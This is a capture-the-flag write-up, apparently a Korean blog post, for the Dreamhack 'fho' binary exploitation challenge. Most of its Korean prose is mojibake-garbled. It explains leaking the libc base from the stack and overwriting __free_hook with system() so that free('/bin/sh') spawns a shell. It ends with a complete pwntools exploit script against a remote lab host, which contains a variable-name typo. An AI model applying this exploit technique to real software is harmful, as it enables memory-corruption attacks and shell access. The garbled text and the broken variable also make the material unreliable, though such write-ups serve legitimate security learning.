fho
๋ฌธ์ ํ์ด
๋ชจ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด ์๋ค์.. ์์ฐ
๋ค์ด๊ฐ๊ธฐ ์ ์ ์์๋๋ฉด ์ข์ ์ฉ์ด
ํค์๋
|
Exploit ์ค๊ณ
๊ทธ๋ผ ์ ํฌ๋ ์ด์ ์ ํ๋ ๊ฑฐ์ฒ๋ผ system()ํจ์์ ์ฃผ์๋ฅผ ์์๋ด์ด ์ต์ข
์ ์ผ๋ก system("/bin/sh") ํธ์ถ!
๊ทธ๋ฌ๊ธฐ ์ํด read()ํจ์์ write()๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค. ์ค์ ์ฃผ์๋ฅผ leakํ๋ ๋ฐฉ์์
์ด์ ์ ๋ฐฐ์ ์ผ๋ฏ๋ก ์๋ตํ๊ฒ ์ต๋๋ค.
๊ทธ ๋ค์์ผ๋ก ์ ํฌ๋ rop chain์ ์ด์ฉํด overwirte ํด์ฃผ๊ณ ์ด๋ฒ์ bss ์์ญ์ ํ์ฉํ์ฌ ์ ๊ทผํ ๊ฑฐ์์
์ฐธ๊ณ ๋ก bss ์์ญ์ ์ฌ์ฉํ ์ ์๋ ์ด์ ๋ Paritial RELRO ๋๋ฌธ์ธ๋ฐ ์ถํ์ ๋ฐฐ์ธ ๋ด์ฉ์ด๋๊น ๋์ด๊ฐ์ฃ ๋ณด์๋ฉด 1๋ฒ์งธ์ bof๋ก leak baes๋ฅผ ํ๋
2๋ฒ์งธ๋ก Overwiret๋ก free_hook๊ณผ system์ ํ๋ํ ์ ์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ one_gadget์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ ์
ธ์ด ํ๋๋๋ ์ฝ๋ ๋ญ์น๋ฅผ ํ์ฉํ์ฌ ์ฝ๊ฒ ์ฐพ์ ์ ์๋ค๊ณ ํ๋ฏ๋ก
sudo apt-get install ruby-full
gem install one_gadget
๋ก ๋ค์ด๋ก๋ ํ ํ ๋ฒ์ ์ ๋ง๊ฒ ์ํฉ์ ๋ง๊ฒ ๊ฐ์ ฏ์ ์ฌ์ฉํ๊ฑฐ๋ ์ ์ฝ ์กฐ๊ฑด์ ๋ง์กฑํ๊ฒ ์กฐ์ํด์ค๋๋ค.
one_gadget์ ํจ์์ ์ธ์๋ฅผ ์ ๋ฌํ๊ธฐ ์ด๋ ค์ธ ๋ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋๋ฏ๋ก ๋์ ํ ๋น์ ์ ์ฉํ์ฃ
์์๋ก malloc์ ํธ์ถ ์ ์ธ์๋ฅผ ๊ฒ์ฌํ์ฌ ์์ ์ ์๋ง ์
๋ ฅ๋๋ ์ํฉ์ "/bin/sh"๋ ์ ๋ฌ์ด ํ๋ค์ฃ
์ด๋ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค!
Exploit
์ฐ๋ฆฌ๊ฐ ์ต์ข
์ ์ผ๋ก ํธ์ถํด์ผ ํ๋ ํจ์๋ system("/bin/sh")๋ผ๋ ๊ฒ์ ์ ๋
ํ๋ฉฐ, ์์ํด๋ด
์๋ค!
์ฐ์ lib์ ์ฃผ์๋ฅผ ๊ตฌํด์ system()์ ์ค์ ์ฃผ์๋ฅผ ๊ตฌํ๋ค ๊ทธ๋ผ PIE ๋๋ถ์ ret gadget์ ์ด์ฉํด
์ด์ ์ฒ๋ผ read์ got๋ฅผ ์ถ๋ ฅํ๊ธฐ๋ ๊ทธ๋ฐ ๊ฒฝ์ฐ์
๋๋ค. ๊ทธ๋ผ stack์ ๋ด๋ถ์ ์๋ libc ํจ์๋ฅผ ํ์ฉ!
mainํจ์์ ret๋ __libc_start_main()์ผ๋ก ์ด ๋ถ๋ถ์ ํ์ฉํด์ผ๊ฒ ์ต๋๋ค.
gdb๋ฅผ ํ์ฉํด bt๋ฅผ ์
๋ ฅ ์ stack์ ์๋ ํจ์๋๋ฅด์ด ํํฉ์ ํ์ธ ๊ฐ๋ฅํ๋ฐ
main() ์๋ ์ฐ๋ฆฌ๊ฐ ์ฐพ๋ libc..๊ฐ ์กด์ฌํจ์ ํ์ธ ํ ์ ์์์ต๋๋ค!
main()์ bp๋ฅผ ๊ฑธ์ด ๋๋ฒ๊น
ํ๋ฉด rsp ๋ถ๋ถ์ +122 ์ ํ์ธํ ์ ์์ต๋๋ค
์ด๋ฅผ ํ์ฉํด one_gadget ์ฆ, free heap overwrite๋ฅผ ํ ์ ์๊ฒ ์ฃ
๋ค์์ผ๋ก free()๊ฐ ํธ์ถ๋๊ณ ๊ทธ ๋ค์์ ์์ฐ์ค๋ฝ๊ฒ __free_hook()์ด๋ผ๋ ํ
์ ํํนํ๊ธฐ ์ํด
ํด๋น ์ฃผ์๋ฅผ system()์ผ๋ก ๋ฎ์ ๋ค free("/bin/sh")์ ํ๊ฒ ๋๋ค๋ฉด ์์ฐ์ค๋ฝ๊ฒ system("/bin/sh")๊ฐ ๋๊ฒ ์ฃ
__free_hook()์ ๊ฒฝ์ฐ free()์ ๊ฐ์ ์ธ์๋ฅผ ๊ฐ๊ธฐ์ ๊ฐ๋ฅํ ๋ถ๋ถ์
๋๋ค!
one_gadget์ ๊ฐ์ ๋ถ๋ถ์ ์์ง๊น์ง๋ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ์ ๋ชฐ๋ผ์ ์ด๋ฐ ์์ผ๋ก ์์ฑํ์์ต๋๋ค
์ด์ฐ๋ณด๋ฉด RTL์ ์์ฉ๊ฐ๋ค์ ๊ทธ๋์ ๊ทธ๋ ๊ฒ ์ค์ํ๋ค๊ณ ํ๋๊ฑธ๊น์?
123456789101112131415161718192021222324252627282930313233343536 from pwn import *def log(a, b):return success(": ".join([a, hex(b)]))p = remote("host3.dreamhack.games", 11837)e = ELF("./fho")libc = ELF("./libc-2.27.so")libc_start_main_offset = libc.symbols["__libc_start_main"]system_offset = libc.symbols["system"]free_hook_offset = libc.symbols["__free_hook"]binsh_offset = next(libc.search(b"/bin/sh"))payload = b'A'*0x48p.sendafter("Buf: ", payload)p.recvuntil(payload)libc_start_main_122 = u64(p.recvn(6) + b'\x00'*2)libc_base = libc_start_main_231 - (libc_start_main_offset + 122)system_address = libc_base + system_offsetfree_hook_address = libc_base + free_hook_offsetbinsh_address = libc_base + binsh_offsetlog("libc_base", libc_base)log("libc_start_main_122", libc_start_main_122)log("system() address", system_address)log("free_hook address", free_hook_address)log("\"/bin/sh\" address", binsh_address)p.sendlineafter("To write: ", str(free_hook_address))p.sendlineafter("With: ", str(system_address))p.sendlineafter("To free: ", str(binsh_address))p.interactive()cs
์ ์ฒด์ ์ธ ์ฝ๋๋ ํด๋น fho๋ฅผ ์ค๋ช
ํ๋ dreamhack์ ์ฌ์ดํธ์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ์์ผ๋ฉฐ
์ธ๋ถ์ ์ธ ๊ตฌ์ฑ์ ์์ ์์ฑํ๋ฏ๋ก ์ธ๋ถ์ ์ธ ๋ด์ฉ์ ๊ทธ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ์๋ฉด ๋ ๊ฑฐ ๊ฐ์ต๋๋ค
๋ํ hook์ libc์ ์ฃผ์์ ์๋ ๋ด์ฉ์ ์ฐธ๊ณ ํ๊ธฐ ๋๋ฌธ์ ์์ ๊ฐ์ ๋ด์ฉ์ ํ์ธํ๋ต๋๋ค!
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
basic_exploitation_003 (0) | 2022.10.30 |
---|---|
hook (0) | 2022.10.30 |
basic_rop_x86 (0) | 2022.10.30 |
out_of_bound (0) | 2022.10.30 |
oneshot (0) | 2022.10.30 |